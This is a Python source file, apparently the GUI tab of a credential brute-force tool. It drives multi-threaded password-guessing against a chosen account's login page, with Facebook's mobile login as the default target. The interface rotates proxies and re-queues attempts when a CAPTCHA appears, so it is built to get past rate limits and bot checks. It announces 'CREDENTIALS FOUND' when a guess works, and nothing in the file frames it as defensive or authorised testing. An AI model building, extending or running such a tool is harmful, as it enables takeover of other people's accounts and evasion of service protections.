""" Attack Terminal Tab — multi-proxy credential attack against any login URL. Includes live stats, speed controls, custom target URL, and CAPTCHA status. """ import logging import threading from datetime import datetime from typing import Callable, Optional import customtkinter as ctk from src.gui.theme import CyberpunkTheme from src.attack.orchestrator import AttackOrchestrator, AttackState, AttackStats from src.attack.login_client import SiteConfig from src.proxy.pool import ProxyPool from src.utils.file_io import load_passwords, count_lines from config import (PASSWORDS_FILE, MAX_CONCURRENT_WORKERS, DEFAULT_DELAY_MIN, DEFAULT_DELAY_MAX, PROXY_ROTATION_EVERY, REQUEST_TIMEOUT) logger = logging.getLogger(__name__) _FB_LOGIN_URL = "https://m.facebook.com/login.php" class AttackTab(ctk.CTkFrame): def __init__(self, parent, proxy_pool: ProxyPool, status_callback: Optional[Callable] = None, attempt_logger=None, app=None): super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) self.proxy_pool = proxy_pool self.status_callback = status_callback self.app = app self.orchestrator = AttackOrchestrator( proxy_pool, logger_instance=attempt_logger) self._build_ui() self.orchestrator.on_stats_update = lambda s: self.after(0, lambda: self._on_stats_update(s)) self.orchestrator.on_log_entry = lambda e: self.after(0, lambda: self._on_log_entry(e)) self.orchestrator.on_success = lambda p, px, r: self.after(0, lambda: self._on_success(p, px, r)) self.orchestrator.on_state_change = lambda st: self.after(0, lambda: self._on_state_change(st)) self.orchestrator.on_captcha = lambda px: self.after(0, lambda: self._on_captcha_hit(px)) # ── Build ────────────────────────────────────────────────────────────────── def _build_ui(self): CyberpunkTheme.create_tab_header( self, "03", "[ ATTACK TERMINAL ]", "Multi-threaded login attempts with proxy rotation against any target URL", ) CyberpunkTheme.create_hint_bar( self, "Set target URL + email → confirm readiness below → START when wordlist and proxies are loaded", ) self._build_readiness_bar() self._build_target_bar() self._build_speed_panel() self._build_stats_panel() self._build_progress_bar() self._build_control_buttons() self._build_live_log() self._update_periodic() self._update_readiness() def _build_readiness_bar(self): """At-a-glance checklist so the user knows what's missing before START.""" bar = ctk.CTkFrame( self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER, ) bar.pack(fill="x", padx=15, pady=(0, 8)) inner = ctk.CTkFrame(bar, fg_color="transparent") inner.pack(fill="x", padx=12, pady=8) ctk.CTkLabel( inner, text="READINESS", font=("Consolas", 10, "bold"), text_color=CyberpunkTheme.TERTIARY, width=80, anchor="w", ).pack(side="left") def _chip(parent): lbl = ctk.CTkLabel( parent, text="—", font=("Consolas", 10, "bold"), text_color=CyberpunkTheme.TEXT_DIM, ) lbl.pack(side="left", padx=(0, 16)) return lbl self.ready_target = _chip(inner) self.ready_wordlist = _chip(inner) self.ready_proxies = _chip(inner) self.ready_overall = _chip(inner) def _update_readiness(self): target_ok = bool(self.email_entry.get().strip()) if hasattr(self, "email_entry") else False wl = count_lines(PASSWORDS_FILE) px = self.proxy_pool.available_count def _set(lbl, ok: bool, ok_text: str, bad_text: str): lbl.configure( text=ok_text if ok else bad_text, text_color=CyberpunkTheme.SUCCESS if ok else CyberpunkTheme.WARNING, ) _set(self.ready_target, target_ok, "✓ TARGET SET", "✗ NEED EMAIL") _set(self.ready_wordlist, wl > 0, f"✓ WORDLIST ({wl:,})", "✗ NO WORDLIST") _set(self.ready_proxies, px > 0, f"✓ PROXIES ({px})", "○ NO PROXIES (optional)") all_core = target_ok and wl > 0 self.ready_overall.configure( text="✓ READY TO START" if all_core else "✗ NOT READY", text_color=CyberpunkTheme.SUCCESS if all_core else CyberpunkTheme.ERROR, ) # ── Target bar (URL + username + counters) ──────────────────────────────── def _build_target_bar(self): bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER) bar.pack(fill="x", padx=15, pady=(0, 8)) # Row 1 — target URL row1 = ctk.CTkFrame(bar, fg_color="transparent") row1.pack(fill="x", padx=12, pady=(10, 4)) ctk.CTkLabel(row1, text="Target URL:", font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, width=100, anchor="w").pack(side="left") self.url_entry = ctk.CTkEntry( row1, placeholder_text=_FB_LOGIN_URL, fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), width=480) self.url_entry.insert(0, _FB_LOGIN_URL) self.url_entry.pack(side="left", padx=(0, 12)) CyberpunkTheme.apply_focus_glow(self.url_entry) ctk.CTkLabel(row1, text="Form fields user:", font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4)) self.field_user_entry = ctk.CTkEntry( row1, width=80, placeholder_text="email", fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10)) self.field_user_entry.insert(0, "email") self.field_user_entry.pack(side="left", padx=(0, 8)) ctk.CTkLabel(row1, text="pass:", font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4)) self.field_pass_entry = ctk.CTkEntry( row1, width=80, placeholder_text="pass", fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10)) self.field_pass_entry.insert(0, "pass") self.field_pass_entry.pack(side="left") # Row 2 — username/email + counters row2 = ctk.CTkFrame(bar, fg_color="transparent") row2.pack(fill="x", padx=12, pady=(0, 10)) ctk.CTkLabel(row2, text="Username / Email:", font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, width=140, anchor="w").pack(side="left") self.email_entry = ctk.CTkEntry( row2, placeholder_text="target@example.com", fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310) self.email_entry.pack(side="left", padx=(0, 20)) CyberpunkTheme.apply_focus_glow(self.email_entry) self.email_entry.bind("", lambda _e: self._update_readiness()) self.pwd_count_label = ctk.CTkLabel( row2, text="Wordlist: 0", font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM) self.pwd_count_label.pack(side="left", padx=(0, 18)) self.proxy_count_label = ctk.CTkLabel( row2, text="Proxies: 0", font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM) self.proxy_count_label.pack(side="left", padx=(0, 18)) self.captcha_label = ctk.CTkLabel( row2, text="CAPTCHAs: 0", font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM) self.captcha_label.pack(side="left") # ── Speed panel ─────────────────────────────────────────────────────────── def _build_speed_panel(self): panel = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER) panel.pack(fill="x", padx=15, pady=(0, 8)) hdr = ctk.CTkFrame(panel, fg_color="transparent") hdr.pack(fill="x", padx=12, pady=(8, 4)) ctk.CTkLabel(hdr, text="⚡ SPEED & CONCURRENCY", font=("Consolas", 11, "bold"), text_color=CyberpunkTheme.TERTIARY).pack(side="left") inner = ctk.CTkFrame(panel, fg_color="transparent") inner.pack(fill="x", padx=12, pady=(0, 10)) def _slider_group(parent, label, var, from_, to, steps, default, unit=""): ctk.CTkLabel(parent, text=label, font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, width=160, anchor="w").pack(side="left") sl = ctk.CTkSlider(parent, from_=from_, to=to, number_of_steps=steps, variable=var, width=170, fg_color=CyberpunkTheme.BG_MEDIUM, progress_color=CyberpunkTheme.PRIMARY, button_color=CyberpunkTheme.PRIMARY, button_hover_color=CyberpunkTheme.SECONDARY) sl.pack(side="left", padx=(0, 6)) val_lbl = ctk.CTkLabel(parent, font=("Consolas", 12, "bold"), text_color=CyberpunkTheme.PRIMARY, width=48) val_lbl.configure(text=f"{int(default)}{unit}") val_lbl.pack(side="left", padx=(0, 24)) sl.configure(command=lambda v, l=val_lbl, u=unit: l.configure(text=f"{int(float(v))}{u}")) return sl row1 = ctk.CTkFrame(inner, fg_color="transparent") row1.pack(fill="x", pady=(0, 6)) self.workers_var = ctk.IntVar(value=MAX_CONCURRENT_WORKERS) _slider_group(row1, "Workers (threads):", self.workers_var, 1, 30, 29, MAX_CONCURRENT_WORKERS, "×") self.rotation_var = ctk.IntVar(value=PROXY_ROTATION_EVERY) _slider_group(row1, "Proxy rotation (req):", self.rotation_var, 1, 20, 19, PROXY_ROTATION_EVERY, "req") row2 = ctk.CTkFrame(inner, fg_color="transparent") row2.pack(fill="x") self.delay_min_var = ctk.DoubleVar(value=DEFAULT_DELAY_MIN) _slider_group(row2, "Delay min (s):", self.delay_min_var, 0.0, 10.0, 100, DEFAULT_DELAY_MIN, "s") self.delay_max_var = ctk.DoubleVar(value=DEFAULT_DELAY_MAX) _slider_group(row2, "Delay max (s):", self.delay_max_var, 0.0, 10.0, 100, DEFAULT_DELAY_MAX, "s") ctk.CTkLabel(row2, text="Timeout (s):", font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, width=90, anchor="w").pack(side="left") self.timeout_entry = ctk.CTkEntry( row2, width=64, fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12)) self.timeout_entry.insert(0, str(REQUEST_TIMEOUT)) self.timeout_entry.pack(side="left") CyberpunkTheme.apply_focus_glow(self.timeout_entry) # ── Stats panel ─────────────────────────────────────────────────────────── def _build_stats_panel(self): stats = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER) stats.pack(fill="x", padx=15, pady=(0, 8)) inner = ctk.CTkFrame(stats, fg_color="transparent") inner.pack(fill="x", padx=12, pady=8) def _stat(text, color): l = ctk.CTkLabel(inner, text=text, font=("Consolas", 13, "bold"), text_color=color) l.pack(side="left", padx=(0, 22)) return l self.attempts_label = _stat("Attempts: 0", CyberpunkTheme.TEXT_PRIMARY) self.success_label = _stat("Found: 0", CyberpunkTheme.SUCCESS) self.fail_label = _stat("Failed: 0", CyberpunkTheme.ERROR) self.speed_label = _stat("Speed: 0 r/s", CyberpunkTheme.PRIMARY) self.workers_label = _stat("Workers: 0", CyberpunkTheme.TERTIARY) self.elapsed_label = _stat("00:00:00", CyberpunkTheme.TEXT_DIM) row2 = ctk.CTkFrame(stats, fg_color="transparent") row2.pack(fill="x", padx=12, pady=(0, 6)) ctk.CTkLabel(row2, text="Trying:", font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_SECONDARY).pack(side="left", padx=(0, 5)) self.current_pwd_label = ctk.CTkLabel( row2, text="—", font=("Consolas", 10), text_color=CyberpunkTheme.PRIMARY) self.current_pwd_label.pack(side="left", padx=(0, 14)) ctk.CTkLabel(row2, text="via", font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 5)) self.current_proxy_label = ctk.CTkLabel( row2, text="—", font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM) self.current_proxy_label.pack(side="left") def _build_progress_bar(self): pf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER) pf.pack(fill="x", padx=15, pady=(0, 8)) inner = ctk.CTkFrame(pf, fg_color="transparent") inner.pack(fill="x", padx=12, pady=8) self.progress_bar = ctk.CTkProgressBar( inner, fg_color=CyberpunkTheme.BG_DARK, progress_color=CyberpunkTheme.PRIMARY, height=18, corner_radius=4) self.progress_bar.pack(fill="x", expand=True) self.progress_bar.set(0) self.progress_text = ctk.CTkLabel( inner, text="0.0% (0 / 0)", font=("Consolas", 10, "bold"), text_color=CyberpunkTheme.PRIMARY) self.progress_text.pack(pady=(3, 0)) def _build_control_buttons(self): bf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, border_width=1, border_color=CyberpunkTheme.BORDER) bf.pack(fill="x", padx=15, pady=(0, 8)) inner = ctk.CTkFrame(bf, fg_color="transparent") inner.pack(padx=12, pady=10) self.start_btn = CyberpunkTheme.create_neon_button( inner, text="▶ START", command=self._on_start, color=CyberpunkTheme.SUCCESS, width=160, height=40, font=("Consolas", 14, "bold")) self.start_btn.pack(side="left", padx=(0, 12)) self.pause_btn = CyberpunkTheme.create_neon_button( inner, text="⏸ PAUSE", command=self._on_pause, color=CyberpunkTheme.WARNING, width=120, height=40, font=("Consolas", 14, "bold")) self.pause_btn.pack(side="left", padx=(0, 12)) self.pause_btn.configure(state="disabled") self.stop_btn = CyberpunkTheme.create_neon_button( inner, text="⏹ STOP", command=self._on_stop, color=CyberpunkTheme.ERROR, width=120, height=40, font=("Consolas", 14, "bold")) self.stop_btn.pack(side="left") self.stop_btn.configure(state="disabled") self.state_label = ctk.CTkLabel( inner, text="◈ IDLE", font=("Consolas", 15, "bold"), text_color=CyberpunkTheme.TEXT_DIM, width=160) self.state_label.pack(side="right", padx=(22, 0)) def _build_live_log(self): ctk.CTkLabel(self, text="> LIVE LOG", font=("Consolas", 12, "bold"), text_color=CyberpunkTheme.PRIMARY).pack(anchor="w", padx=15, pady=(0, 4)) self.log_text = ctk.CTkTextbox( self, fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), border_width=1) self.log_text.pack(fill="both", expand=True, padx=15, pady=(0, 12)) self.log_text.insert("end", "[SYSTEM] Ready.\n" "[SYSTEM] 1. Set Target URL (default: Facebook mobile login)\n" "[SYSTEM] 2. Enter username/email\n" "[SYSTEM] 3. Generate wordlist in Password Builder\n" "[SYSTEM] 4. Fetch & test proxies in Proxy Manager then COMMIT\n" "[SYSTEM] 5. Press START\n") self.log_text.configure(state="disabled") # ── Speed → orchestrator ───────────────────────────────────────────────── def _apply_speed_settings(self): self.orchestrator.max_workers = max(1, int(self.workers_var.get())) self.orchestrator.proxy_rotation_every = max(1, int(self.rotation_var.get())) self.orchestrator.delay_min = float(self.delay_min_var.get()) self.orchestrator.delay_max = max( float(self.delay_min_var.get()), float(self.delay_max_var.get())) try: self.orchestrator.request_timeout = int(self.timeout_entry.get() or "20") except ValueError: self.orchestrator.request_timeout = 20 self.orchestrator.login_client.request_timeout = self.orchestrator.request_timeout def _build_site_config(self) -> SiteConfig: url = self.url_entry.get().strip() or _FB_LOGIN_URL user_field = self.field_user_entry.get().strip() or "email" pass_field = self.field_pass_entry.get().strip() or "pass" if "facebook.com" in url or "fb.com" in url: from urllib.parse import urlparse cfg = SiteConfig() cfg.login_url = url cfg.username_field = user_field cfg.password_field = pass_field return cfg # Generic site cfg = SiteConfig.for_url(url) cfg.username_field = user_field cfg.password_field = pass_field return cfg # ── Button handlers ─────────────────────────────────────────────────────── def _on_start(self): username = self.email_entry.get().strip() if not username: self._log("ERROR: Enter a target username/email first") return passwords = load_passwords() if not passwords: self._log("ERROR: Wordlist is empty — generate passwords in the Password Builder tab") return if self.proxy_pool.available_count == 0: self._log("WARNING: No proxies committed — attack will run without proxies") self._apply_speed_settings() site_cfg = self._build_site_config() self.orchestrator.configure(username, passwords, site_cfg) self.orchestrator.start() if self.app: self.app.set_attack_state("RUNNING") self.start_btn.configure(state="disabled") self.pause_btn.configure(state="normal") self.stop_btn.configure(state="normal") w = self.orchestrator.max_workers url = site_cfg.login_url self._log(f"▶ Attack started — {len(passwords):,} passwords, {w} workers") self._log(f" Target: {url}") self._notify(f"Attack running · {len(passwords):,} passwords · {w} workers") def _on_pause(self): if self.orchestrator.is_running: self.orchestrator.pause() self.pause_btn.configure(text="▶ RESUME") self._log("⏸ Attack paused") self._notify("Attack PAUSED") elif self.orchestrator.is_paused: self.orchestrator.resume() self.pause_btn.configure(text="⏸ PAUSE") self._log("▶ Attack resumed") self._notify("Attack RUNNING") def _on_stop(self): self.orchestrator.stop() if self.app: self.app.set_attack_state("STOPPED") self.start_btn.configure(state="normal") self.pause_btn.configure(state="disabled", text="⏸ PAUSE") self.stop_btn.configure(state="disabled") self._log("⏹ Attack stopped") self._notify("Attack STOPPED") # ── Orchestrator callbacks ──────────────────────────────────────────────── def _on_stats_update(self, stats: AttackStats): self.attempts_label.configure(text=f"Attempts: {stats.total_attempts:,}") self.success_label.configure(text=f"Found: {stats.successful_attempts}") self.fail_label.configure(text=f"Failed: {stats.failed_attempts:,}") self.speed_label.configure(text=f"Speed: {stats.attempts_per_second:.1f} r/s") self.workers_label.configure(text=f"Workers: {stats.active_workers}") e = int(stats.elapsed_seconds) self.elapsed_label.configure(text=f"{e//3600:02d}:{(e%3600)//60:02d}:{e%60:02d}") self.current_pwd_label.configure(text=stats.current_password or "—") self.current_proxy_label.configure(text=stats.current_proxy or "—") progress = self.orchestrator.progress / 100 self.progress_bar.set(progress) total_pw = len(self.orchestrator.passwords) self.progress_text.configure( text=f"{self.orchestrator.progress:.1f}% ({stats.passwords_tried:,} / {total_pw:,})") self.pwd_count_label.configure( text=f"Wordlist: {stats.passwords_tried:,}/{total_pw:,}") self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}") self.captcha_label.configure( text=f"CAPTCHAs: {stats.captchas_hit}", text_color=(CyberpunkTheme.WARNING if stats.captchas_hit > 0 else CyberpunkTheme.TEXT_DIM)) if stats.current_password: self._notify( f"Trying: {stats.current_password[:24]} · " f"{stats.attempts_per_second:.1f} r/s · " f"{stats.active_workers} workers") def _on_log_entry(self, entry: dict): ts = datetime.now().strftime("%H:%M:%S") icon = "[+]" if entry["result"] == "SUCCESS" else "[-]" self._log(f"[{ts}] {icon} {entry['proxy'][:28]} >> {entry['password'][:28]} >> {entry['message']}") def _on_success(self, password: str, proxy: str, result): banner = ( "\n" + "═" * 56 + "\n" " *** ACCESS GRANTED — CREDENTIALS FOUND ***\n" f" PASSWORD : {password}\n" f" PROXY : {proxy}\n" "═" * 56 + "\n" ) self._log(banner) self.log_text.configure(border_color=CyberpunkTheme.SUCCESS) self.after(3000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER)) self._notify(f"*** PASSWORD FOUND: {password} ***") def _on_captcha_hit(self, proxy: str): self._log(f"[!] CAPTCHA detected via {proxy[:28]} — proxy rotated, password re-queued") self.log_text.configure(border_color=CyberpunkTheme.WARNING) self.after(2000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER)) def _on_state_change(self, state: AttackState): colors = { AttackState.IDLE: CyberpunkTheme.TEXT_DIM, AttackState.RUNNING: CyberpunkTheme.SUCCESS, AttackState.PAUSED: CyberpunkTheme.WARNING, AttackState.STOPPED: CyberpunkTheme.ERROR, AttackState.COMPLETED: CyberpunkTheme.PRIMARY, } self.state_label.configure( text=f"◈ {state.value.upper()}", text_color=colors.get(state, CyberpunkTheme.TEXT_DIM)) if self.app: self.app.set_attack_state(state.value.upper()) if state in (AttackState.COMPLETED, AttackState.STOPPED): self.start_btn.configure(state="normal") self.pause_btn.configure(state="disabled", text="⏸ PAUSE") self.stop_btn.configure(state="disabled") # ── Helpers ─────────────────────────────────────────────────────────────── def _log(self, message: str): self.log_text.configure(state="normal") self.log_text.insert("end", message + "\n") self.log_text.see("end") self.log_text.configure(state="disabled") def _notify(self, msg: str): if self.status_callback: self.status_callback(msg) def _update_periodic(self): try: pwd_count = count_lines(PASSWORDS_FILE) self.pwd_count_label.configure(text=f"Wordlist: {pwd_count:,}") except Exception: pass self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}") self._update_readiness() self.after(2000, self._update_periodic)